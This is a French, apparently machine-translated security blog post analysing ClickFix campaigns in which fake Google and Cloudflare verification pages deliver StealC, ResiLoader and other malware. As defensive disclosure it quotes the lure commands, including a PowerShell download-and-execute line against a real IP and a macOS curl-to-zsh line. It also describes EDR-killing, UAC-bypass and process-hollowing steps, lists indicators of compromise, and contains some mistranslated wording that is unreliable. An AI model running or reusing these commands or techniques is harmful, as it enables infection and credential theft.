De fausses pages de vérification de Google et Cloudflare diffusent plusieurs familles de logiciels malveillants

| 2 juillet 2026
De fausses pages de vérification de Google et Cloudflare diffusent plusieurs familles de logiciels malveillants

Les attaques de type « ClickFix », qui incitent les utilisateurs à exécuter eux-mêmes des commandes malveillantes, ne cessent d'évoluer. Cette dernière campagne utilise de fausses pages de vérification de Google et de Cloudflare pour convaincre les victimes d'infecter leurs propres appareils.

Une seule erreur peut entraîner l'installation d'un logiciel malveillant capable de voler des mots de passe et d'autres données sensibles, de permettre aux pirates d'accéder à distance à votre ordinateur ou de télécharger d'autres logiciels malveillants susceptibles de prendre le contrôle total de votre système.

Nous avons mis au jour plusieurs campagnes utilisant la même infrastructure pour diffuser des logiciels malveillants, notamment HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport et un logiciel de vol de données basé sur Rust.

Dans une chaîne d'infection, une version infectée par un cheval de Troie de l'application de messagerie légitime Franz télécharge un chargeur jusqu'alors inconnu, baptisé ResiLoader, qui désactive les logiciels de sécurité avant de déployer le programme de vol d'informations StealC.

Avant d'aborder les détails techniques, voici comment éviter de devenir la prochaine victime.

Comment rester en sécurité

Les attaques de type « ClickFix » visent à vous convaincre d'exécuter vous-même des commandes. La méthode la plus sûre est simple :

  • Ne copiez et n'exécutez jamais de commandes provenant d'un site web, sauf si vous suivez les instructions d'une source fiable et que vous comprenez exactement ce que fait la commande.
  • Méfiez-vous des pages de vérification. Google, Cloudflare, Microsoft et d'autres services légitimes ne vous demanderont jamais de coller des commandes PowerShell dans Windows prouver que vous êtes bien un humain ou Windows résoudre un problème.
  • Ne vous laissez pas bousculer par le sentiment d’urgence. Les fausses pages de vérification utilisent souvent des comptes à rebours, des compteurs de visiteurs ou des avertissements pour vous pousser à agir rapidement.
  • Veillez à maintenir votre logiciel de sécurité à jour. La protection en temps réel et la protection Web peuvent vous aider à bloquer les sites Web malveillants avant même que vous n'y accédiez.
  • Méfiez-vous des instructions techniques inattendues. Si un site web vous demande d'ouvrir PowerShell, l'Invite de commandes ou Terminal, ne le faites pas et vérifiez ces instructions auprès des canaux d'assistance officiels de l'entreprise.

Conseil de pro : Malwarebytes Browser Guard peut vous avertir lorsqu'un site web tente de copier du contenu dans votre presse-papiers — une astuce couramment utilisée par les pages ClickFix.

Analyse technique

Les campagnes analysées dans le cadre de cette étude sont actives depuis au moins fin 2025 et utilisent diverses pages frauduleuses imitant Google et Cloudflare pour diffuser des logiciels malveillants. Bien que les leurres diffèrent, elles partagent en grande partie la même infrastructure et la même chaîne d’infection, les attaquants testant en permanence de nouvelles méthodes de diffusion et de nouvelles charges utiles.

Des leurres différents, un seul objectif

La plupart des campagnes présentent plusieurs points communs :

  • Utilisation du dossier C:\ProgramData\Zooms pour extraire les étapes ultérieures
  • Commandes ClickFix de PowerShell qui suivent des schémas similaires
  • Utilisation des compartiments R2 de Cloudflare pour la diffusion de données utiles
  • Adresses IP hébergées par ASN Dedik Services Limited
  • Les réponses HTML ne contenant que l'expression "hehe"

Ces indicateurs ont évolué au fil du temps ; ils n'apparaissent donc pas dans toutes les chaînes d'infection. Les campagnes continuent d'évoluer, avec l'apparition régulière de nouvelles charges utiles et de nouveaux modes de diffusion. Par exemple, dans certains cas, l'adresse IP est utilisée directement pour la diffusion de la charge utile, au lieu de recourir à des « buckets ».

La commande finale copiée par l'utilisateur suit généralement ce modèle : 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

Le port et le chemin d'accès ne sont pas toujours présents dans les cas analysés ; les ports sont aléatoires, mais voici quelques-uns de ceux qui sont utilisés : 6600, 9900, 5506, 7895, 7493, 149, 8442. 

Pour exécuter ces commandes, plusieurs modèles liés à ClickFix sont utilisés, principalement en rapport avec Google et Cloudflare. Nous avons également constaté que, dans certains cas, la commande PowerShell était diffusée via le framework IClickFix. 

Nous avons constaté que ces campagnes ClickFix étaient diffusées via :

  • D'anciens sites web qui ont probablement expiré et ont été rachetés par le ou les auteurs de ces agissements.  
  • CloudFlare Pages (.pages.dev domaines). 
  • Sites web piratés. 
  • Des services frauduleux, liés par exemple à des codes QR ou à l'accès à des fichiers sur Internet. 

Les publicités Google ClickFix 

Les responsables de ces campagnes utilisent diverses pages HTML et kits liés à Google. 

L'un de ces leurres imite la procédure de vérification reCAPTCHA de Google. Les pages sont hébergées sur des URL aléatoires qui affichent du contenu factice ou malveillant. Ces domaines sont souvent des enregistrements anciens qui ont récemment commencé à pointer vers de nouvelles adresses IP, ce qui laisse penser qu'ils ont été réutilisés dans le cadre de cette campagne.

Certaines de ces pages comportent des paramètres d'URL tels que « zoneid », « cost », « device », « country » ou « clickid », par exemple : 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
Page ClickFix « Vérification manuelle requise »
Page ClickFix « Vérification manuelle requise »
Page ClickFix « Vérification manuelle requise »

Dans ce cas, les fonctions liées à ClickFix sont implémentées dans la classe CustomCaptcha. La commande est présente en clair, sans aucune dissimulation. 

Méthode « StartVerification » de la classe « CustomCaptcha »
Méthode « StartVerification » de la classe « CustomCaptcha »

Une autre méthode de diffusion utilise Cloudflare Pages hébergé sur .pages.dev sous-domaines.

Page ClickFix « Vérifiez que vous êtes bien un utilisateur humain »
Page ClickFix « Vérifiez que vous êtes bien un utilisateur humain »

Dans ce cas, la page HTML est obscurcie par la déclaration de plusieurs variables auxquelles on applique une opération XOR. Le code désobscurci s'appelle SECURITY GATEWAY et il est composé des fonctions suivantes : GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, et PanelController.  

Le code permet aux pirates de récupérer la commande soit à distance, soit localement. Dans cet exemple, la commande PowerShell malveillante est stockée localement.

La commande PowerShell définie dans le code « SECURITY GATEWAY »
La commande PowerShell définie dans le code « SECURITY GATEWAY »

Nous avons également constaté que certains de ces domaines avaient déjà diffusé un autre leurre par le passé, lié dans ce cas précis à une connexion non autorisée à Google. Ce leurre ClickFix invite l'utilisateur à copier-coller la commande malveillante afin de définir son appareil comme principal. 

Page ClickFix « Nouvelle connexion avec un jeton de confiance »
Page ClickFix « Nouvelle connexion avec un jeton de confiance »

Ce qui est intéressant dans ce kit ClickFix, c'est qu'il intègre une « étape de validation », comme le mentionnent les commentaires, et que le pirate doit choisir manuellement, dans le panneau de commande, la commande qu'il souhaite faire exécuter à l'utilisateur. 

Remarques concernant le kit et la « procédure de validation »
Remarques concernant le kit et la « procédure de validation »
Remarques concernant le kit et la « procédure de validation »

Lors de campagnes plus récentes, nous avons détecté un leurre ClickFix lié à Google Meet, qui demande à l'utilisateur de copier-coller une commande malveillante pour résoudre des problèmes audio. 

Le leurre « réparer le pilote audio » de Meet ClickFix
Le leurre « Réparer le pilote audio » de Google Meet sur ClickFix

Dans les cas analysés, le critère d'évaluation /api/driver-clipboard.php a renvoyé la commande malveillante suivante :

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Autres leurres 

Les auteurs de cette campagne utilisent divers kits et leurres, principalement liés à Google. Nous avons toutefois détecté d'autres leurres qui reprenaient des commandes associées à cette même infrastructure. 

Les pirates à l'origine de ces campagnes compromettent également plusieurs sites web en utilisant différents modèles liés à l'appât « CloudFlare ClickFix ». 

Pages ClickFix « Vérifiez que vous êtes bien un utilisateur humain »
Pages ClickFix « Vérifiez que vous êtes bien un utilisateur humain »
Pages ClickFix « Vérifiez que vous êtes bien un utilisateur humain »

Nous avons détecté plusieurs modèles utilisés pour les pages CloudFlare. Dans les cas analysés, la commande apparaît en clair ou, dans certains cas, sous une forme obscurcie. 

Quelques-unes des pages HTML de CloudFlare ClickFix 
Quelques-unes des pages HTML de CloudFlare ClickFix 
Quelques-unes des pages HTML de CloudFlare ClickFix 
Quelques-unes des pages HTML de CloudFlare ClickFix 

Nous avons également détecté certains sites web de services factices créés spécialement à cet effet. Par exemple, un site intitulé « My QR Generator » affiche un code QR obscurci et demande à l'utilisateur d'exécuter une commande PowerShell afin de vérifier qu'il n'est pas un robot. 

Page d'attraction ClickFix « QR Code » 
Page d'attraction ClickFix « QR Code » 

Dans ce cas, la commande est encodée en base-64 : 

Commande PowerShell décodée
Commande PowerShell décodée

Téléchargeur PowerShell 

La commande « ClickFix » exécutée par l'utilisateur décode un script et le place dans le dossier Temp sous le nom tmp{4 char}.tmp.ps1

Nous avons détecté plusieurs variantes de ce script, mais les versions récentes procèdent comme suit : 

  • Créer le dossier C:\ProgramData\Zooms
  • Téléchargez la prochaine étape depuis un compartiment CloudFlare et enregistrez-la dans C:\ProgramData\Zooms. Dans certaines variantes du script, l'étape suivante est téléchargée directement depuis une adresse IP. 
  • Envoyez les informations relatives à la machine compromise à http://{IP}/dl-callback. Dans certaines variantes du scénario, cette partie n'apparaît pas. 
Script PowerShell supprimé
Script PowerShell supprimé

Les auteurs de ces campagnes utilisent un grand nombre de charges utiles différentes. Ces campagnes diffusent une grande variété de charges utiles. Le tableau ci-dessous récapitule certains des noms de fichiers téléchargés et les logiciels malveillants qu’ils installent. Dans bon nombre des cas analysés, la charge utile finale a été diffusée via le détournement de DLL, comme nous le verrons également plus loin pour le voleur de données StealC. 

Fichier distribué Diffusion de logiciels malveillants 
libEGL.zip, Safe-1.zip Application Electron infectée par un cheval de Troie, ResiLoader et StealC 
Test.msi Deno Loader et PowerShell Stealer 
arworks.zip Amatera Stealer 
water-night.zip Remus Stealer 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe Le voleur de rouille 

Nous avons analysé un nouveau chargeur appelé ResiLoader, qui sert en fin de compte à diffuser StealC. Nous avons également constaté que l'auteur de la menace, dans le cadre de ses dernières campagnes, a commencé à utiliser Deno pour diffuser, en dernier lieu, un programme de vol de données développé en PowerShell ; l'analyse de cette chaîne d'infection pourrait faire l'objet d'un prochain article de blog. 

L'application Electron infectée par un cheval de Troie télécharge ResiLoader

Dans ce cas, le fichier ZIP a été téléchargé depuis : 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

Après extraction vers : 

  • C:\ProgramData\Zooms\libEGL.zip_ext

Le fichier zip contient une version infectée par un cheval de Troie de l'application de messagerie open source appelée « Franz » : 

L'application « Franz », infectée par un cheval de Troie, utilisée pour télécharger ResiLoader
L'application « Franz », infectée par un cheval de Troie, utilisée pour télécharger ResiLoader

Le code malveillant est implémenté dans le index.js fichier : 

Le code obscurci dans l'application contenant une porte dérobée
Le code obscurci dans l'application contenant une porte dérobée

Le programme de téléchargement effectue les opérations suivantes : 

  • Décodez les chaînes à l'aide de la fonction HC()
  • Nombre de lectures readme.txt, attend une clé de campagne sous la forme AAAA-BBBB, le renvoie sous la forme d'un tableau de tokens. Dans ce cas, le nom est resiloader-1 C'est pourquoi nous appelons « ResiLoader » la DLL téléchargée. 
  • Nombre de lectures %APPDATA%\setup.txt; s'il est absent, génère une chaîne aléatoire de 8 caractères et la conserve.  
  • Assurer la persistance à l'aide de app.setLoginItemSettings
  • Envoie une requête POST à https[:]//completstep[.]com/api/ et générer la réponse JSON
    • Si task.e s'il est présent, il s'exécute eval(task.e); cela permet à l'attaquant d'exécuter du code JavaScript arbitraire. 
    • Si task.files est présent, créer %TEMP%\<Date.now()>\, décoder et écrire chaque fichier ; si un nom de fichier se termine par .exe, exécutez-le via child_process.exec

Dans notre cas, nous avons reçu un fichier ZIP qui procède au détournement de la DLL de ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

Ensuite, le fichier exécutable a été lancé à l'aide de la commande suivante : 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

Le msys-crypto-3.dll est un code obscurci .NET NativeAOT loader qui met en œuvre une technique de contournement des solutions antivirus et EDR à l’aide d’une technique BYOD, assure la persistance et charge finalement le voleur de données StealC. Nous n’avons pas trouvé d’attribution spécifique pour ce chargeur ; nous l’avons donc baptisé « ResiLoader » d’après la chaîne de caractères présente dans les versions précédentes readme.txt

Le chargeur contient plusieurs chaînes de caractères, certaines en clair et d'autres chiffrées. Une fois ces chaînes déchiffrées, il est possible d'avoir une vue d'ensemble des fonctionnalités du ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

Le chargeur effectue les opérations suivantes : 

  • Extraire le blob encodé contenant deux charges utiles en lisant le marqueur AtLorenBase et la longueur du blob encodé. Ensuite, il décode le blob et déchiffre le pilote pcdhost.sys (OPSWAT  
    (pilote AppRemover) et la charge utile StealC à l'aide d'un algorithme de déchiffrement personnalisé.  
  • Fermez plus de 140 processus liés aux processus EDR/AV à l'aide du pilote désactivé. 
  • Contourner le contrôle de compte d'utilisateur (UAC) via ICMLuaUtil Interface COM avancée. 
  • Créer un dossier C:\ProgramData\Google Update, en se copiant lui-même ; en s'assurant une persistance à l'aide de la clé de registre RUN 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

Au final, le chargeur procède à l'évidement du processus ServiceModelReg.exe pour exécuter le logiciel malveillant StealC. 

CIO 

Hash 

72907d0ca3258365838626f6a8d993a6: DLL ResiLoader 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Le Voleur de rouille 

Domaines 

Diffuser les pages ClickFix : 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

Compartiments CloudFlare utilisés pour la distribution de la charge utile

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: répartition de la charge utile 

bigflaredefence[.]com: répartition de la charge utile 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Chargeur C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IP 

Adresse IP utilisée pour la distribution de la charge utile

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Remerciements  

À propos de l'auteur

Gabriele est ingénieur en recherche sur les logiciels malveillants et adore lutter contre ces derniers. Lorsqu'il ne s'occupe pas de cela, il aime profiter de la nature, de l'art et des animaux.